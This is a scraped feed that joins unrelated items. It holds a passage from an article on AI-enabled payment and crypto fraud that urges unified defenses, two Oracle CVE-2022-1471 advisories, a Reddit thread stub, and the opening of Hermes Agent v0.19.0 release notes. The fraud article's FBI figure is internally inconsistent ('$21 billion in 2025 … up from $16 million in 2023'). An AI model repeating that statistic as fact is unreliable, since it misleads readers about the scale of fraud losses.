<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CVE-2022-1471 | Oracle Communications Unified Assurance up to 5.5.10/6.0.2 Vision deserialization (Nessus ID 216682 / WID-SEC-2026-1608)]]></title>
<description><![CDATA[A vulnerability, which was classified as very critical, was found in Oracle Communications Unified Assurance up to 5.5.10/6.0.2. This issue affects some unknown processing of the component Vision. Such manipulation leads to deserialization.

This vulnerability is referenced as CVE-2022-1471. It i...]]></description>
<link>https://tsecurity.de/de/3682561/sicherheitsluecken/cve-2022-1471-oracle-communications-unified-assurance-up-to-5510602-vision-deserialization-nessus-id-216682-wid-sec-2026-1608/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682561/sicherheitsluecken/cve-2022-1471-oracle-communications-unified-assurance-up-to-5510602-vision-deserialization-nessus-id-216682-wid-sec-2026-1608/</guid>
<pubDate>Tue, 21 Jul 2026 04:25:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">very critical</a>, was found in <a href="https://vuldb.com/product/oracle:communications_unified_assurance">Oracle Communications Unified Assurance up to 5.5.10/6.0.2</a>. This issue affects some unknown processing of the component <em>Vision</em>. Such manipulation leads to deserialization.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2022-1471">CVE-2022-1471</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
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<title><![CDATA[CVE-2022-1471 | Oracle Communications Unified Inventory Management 7.4.1/7.4.2/7.5.0 TMF APIs deserialization (Nessus ID 216682 / WID-SEC-2026-1608)]]></title>
<description><![CDATA[A vulnerability has been found in Oracle Communications Unified Inventory Management 7.4.1/7.4.2/7.5.0 and classified as very critical. Impacted is an unknown function of the component TMF APIs. Performing a manipulation results in deserialization.

This vulnerability is identified as CVE-2022-14...]]></description>
<link>https://tsecurity.de/de/3682560/sicherheitsluecken/cve-2022-1471-oracle-communications-unified-inventory-management-741742750-tmf-apis-deserialization-nessus-id-216682-wid-sec-2026-1608/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682560/sicherheitsluecken/cve-2022-1471-oracle-communications-unified-inventory-management-741742750-tmf-apis-deserialization-nessus-id-216682-wid-sec-2026-1608/</guid>
<pubDate>Tue, 21 Jul 2026 04:25:28 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/oracle:communications_unified_inventory_management">Oracle Communications Unified Inventory Management 7.4.1/7.4.2/7.5.0</a> and classified as <a href="https://vuldb.com/kb/risk">very critical</a>. Impacted is an unknown function of the component <em>TMF APIs</em>. Performing a manipulation results in deserialization.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2022-1471">CVE-2022-1471</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[/r/ReverseEngineering's Weekly Questions Thread]]></title>
<description><![CDATA[To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have ...]]></description>
<link>https://tsecurity.de/de/3682544/reverse-engineering/rreverseengineerings-weekly-questions-thread/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682544/reverse-engineering/rreverseengineerings-weekly-questions-thread/</guid>
<pubDate>Tue, 21 Jul 2026 04:24:43 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
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<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
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<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
